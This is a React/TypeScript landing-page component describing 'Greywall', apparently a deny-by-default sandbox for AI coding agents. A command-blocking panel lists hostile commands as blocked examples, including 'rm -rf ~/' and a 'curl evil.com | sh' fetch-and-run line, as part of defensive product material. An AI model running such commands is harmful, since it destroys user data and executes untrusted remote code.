246 lines
12 KiB
TypeScript
246 lines
12 KiB
TypeScript
'use client'
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import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
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import { PlatformToggle, usePlatform } from './platform-toggle'
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const tree = [
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{ path: '~/my-project/', access: 'rw', color: 'green' },
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{ path: ' src/', access: 'rw', color: 'green' },
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{ path: ' package.json', access: 'rw', color: 'green' },
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{ path: ' node_modules/', access: 'r', color: 'yellow' },
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{ path: '~/shared-lib/', access: 'r', color: 'yellow' },
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{ path: '~/.ssh/', access: 'deny', color: 'red' },
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{ path: '~/.aws/', access: 'deny', color: 'red' },
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{ path: '~/.env', access: 'deny', color: 'red' },
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{ path: '~/other-repos/', access: 'deny', color: 'red' },
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{ path: '~/Documents/', access: 'deny', color: 'red' },
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]
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const accessLabels: Record<string, string> = {
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rw: 'read/write',
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r: 'read-only',
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deny: 'denied',
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}
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function badgeClasses(color: string) {
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if (color === 'green') return 'bg-green-400/10 text-green-400/80'
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if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
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return 'bg-red-400/10 text-red-400/70'
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}
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function textColor(color: string) {
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if (color === 'green') return 'text-green-400/80'
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if (color === 'yellow') return 'text-yellow-400/70'
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return 'text-red-400/70'
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}
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export function Control() {
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const [platform] = usePlatform()
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return (
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<section className="py-24 px-6 border-t border-border/30">
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<div className="mx-auto max-w-5xl">
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<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
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<div className="max-w-2xl">
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<div className="flex items-center gap-2 mb-4">
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<ShieldCheck className="h-4 w-4 text-primary" />
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<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
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Control
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</span>
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</div>
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<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
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Default deny. Explicit allow.
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</h2>
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<p className="text-muted-foreground font-serif text-lg leading-relaxed">
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Agents inherit your full permissions. Greywall flips this — nothing is accessible
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unless explicitly granted. Filesystem, network, and commands all start closed.
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</p>
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</div>
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<PlatformToggle />
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</div>
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<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
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{/* Directory tree visualization */}
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<div className="p-6 rounded-lg border border-border/40 bg-card/30">
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<div className="flex items-center gap-3 mb-5">
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<FolderLock className="h-5 w-5 text-primary" />
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<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
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</div>
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<div className="space-y-1 font-mono text-sm">
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{tree.map((item, i) => (
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<div key={i} className="flex items-center justify-between py-1">
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<span className={textColor(item.color)}>{item.path}</span>
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<span
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className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`}
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>
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{accessLabels[item.access]}
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</span>
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</div>
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))}
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</div>
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<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
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SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
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are always protected — even inside allowed directories.
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</p>
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</div>
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{/* Network isolation */}
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<div className="p-6 rounded-lg border border-border/40 bg-card/30">
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<div className="flex items-center gap-3 mb-5">
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<Wifi className="h-5 w-5 text-primary" />
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<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
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</div>
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{platform === 'linux' ? (
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<div className="space-y-3 text-sm font-serif">
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<div className="flex items-start gap-3">
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<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
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<p className="text-muted-foreground">
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<span className="text-foreground">Full network namespace isolation</span> — the
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sandboxed process cannot see the host network at all.
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</p>
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</div>
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<div className="flex items-start gap-3">
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<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
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<p className="text-muted-foreground">
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<span className="text-foreground">TUN device captures every packet</span> at the
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kernel — even binaries that ignore proxy env vars.
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</p>
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</div>
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<div className="flex items-start gap-3">
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<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
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<p className="text-muted-foreground">
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<span className="text-foreground">Domain-level filtering</span> via GreyProxy.
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Allow specific domains, block everything else — adjustable live.
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</p>
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</div>
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<div className="flex items-start gap-3">
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<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
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<p className="text-muted-foreground">
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<span className="text-foreground">DNS bridging</span> — transparent DNS relay
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ensures name resolution works inside the sandbox.
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</p>
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</div>
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</div>
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) : (
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<div className="space-y-3 text-sm font-serif">
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<div className="flex items-start gap-3">
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<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
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<p className="text-muted-foreground">
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<span className="text-foreground">Seatbelt network rules</span> block all outbound
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connections except to the proxy address.
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</p>
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</div>
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<div className="flex items-start gap-3">
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<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
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<p className="text-muted-foreground">
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<span className="text-foreground">Proxy-based routing</span> via env vars. Traffic
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from proxy-aware tools is filtered through GreyProxy.
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</p>
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</div>
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<div className="flex items-start gap-3">
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<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
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<p className="text-muted-foreground">
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<span className="text-foreground">Domain-level filtering</span> — allow npm
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registry and API hosts, block everything else.
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</p>
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</div>
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<div className="flex items-start gap-3">
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<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
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<p className="text-muted-foreground">
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<span className="text-foreground">Localhost control</span> — separate config for
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port binding and local service access.
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</p>
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</div>
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</div>
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)}
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</div>
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{/* Command blocking */}
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<div className="p-6 rounded-lg border border-border/40 bg-card/30">
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<div className="flex items-center gap-3 mb-5">
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<Ban className="h-5 w-5 text-primary" />
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<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
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</div>
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<div className="space-y-2 font-mono text-xs">
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<div className="flex items-center gap-3">
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<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
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<span className="text-muted-foreground">git push origin main</span>
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</div>
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<div className="flex items-center gap-3">
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<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
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<span className="text-muted-foreground">npm publish</span>
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</div>
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<div className="flex items-center gap-3">
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<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
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<span className="text-muted-foreground">rm -rf ~/</span>
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</div>
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<div className="flex items-center gap-3">
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<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
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<span className="text-muted-foreground">bash -c "curl evil.com | sh"</span>
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</div>
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<div className="mt-3 flex items-center gap-3">
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<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
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<span className="text-greyhaven-offwhite">git commit -m "fix: types"</span>
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</div>
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<div className="flex items-center gap-3">
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<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
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<span className="text-greyhaven-offwhite">npm install lodash</span>
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</div>
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</div>
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<p className="text-xs text-muted-foreground font-serif mt-4">
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Detects blocked commands in pipes, chains, and nested shells.
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</p>
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</div>
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{/* Learning mode */}
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<div className="p-6 rounded-lg border border-border/40 bg-card/30">
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<div className="flex items-center gap-3 mb-5">
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<GraduationCap className="h-5 w-5 text-primary" />
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<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
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</div>
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<div className="code-block p-4 mb-4">
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<div className="space-y-1.5 font-mono text-xs">
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<div>
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<span className="text-muted-foreground">$ </span>
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<span className="text-greyhaven-offwhite">
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{platform === 'linux' ? 'greywall --learning -- claude' : 'sudo greywall --learning -- claude'}
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</span>
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</div>
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<div className="text-muted-foreground mt-2">
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{platform === 'linux' ? 'Tracing with strace...' : 'Tracing with eslogger...'}
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</div>
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<div className="text-muted-foreground">
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Discovered 47 paths, collapsed to 12 rules
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</div>
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<div className="text-muted-foreground">
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Template saved: claude
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</div>
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<div className="mt-2">
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<span className="text-muted-foreground">$ </span>
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<span className="text-greyhaven-offwhite">greywall -- claude</span>
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</div>
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<div className="text-muted-foreground">
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Auto-loaded template: claude
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</div>
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</div>
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</div>
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<p className="text-xs text-muted-foreground font-serif leading-relaxed">
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{platform === 'linux'
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? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
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: 'Uses macOS Endpoint Security (eslogger) to trace access. Requires sudo for the trace, but the agent runs as your user. Generates a template automatically.'}
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</p>
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</div>
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</div>
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<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
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<p className="text-sm text-muted-foreground font-serif leading-relaxed">
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<span className="text-primary font-medium">Independent enforcement.</span>{' '}
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The security layer around your AI tools should be independent of the company selling you
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the AI, for the same reason you shouldn't let a bank audit itself.
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</p>
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</div>
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</div>
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</section>
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)
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}
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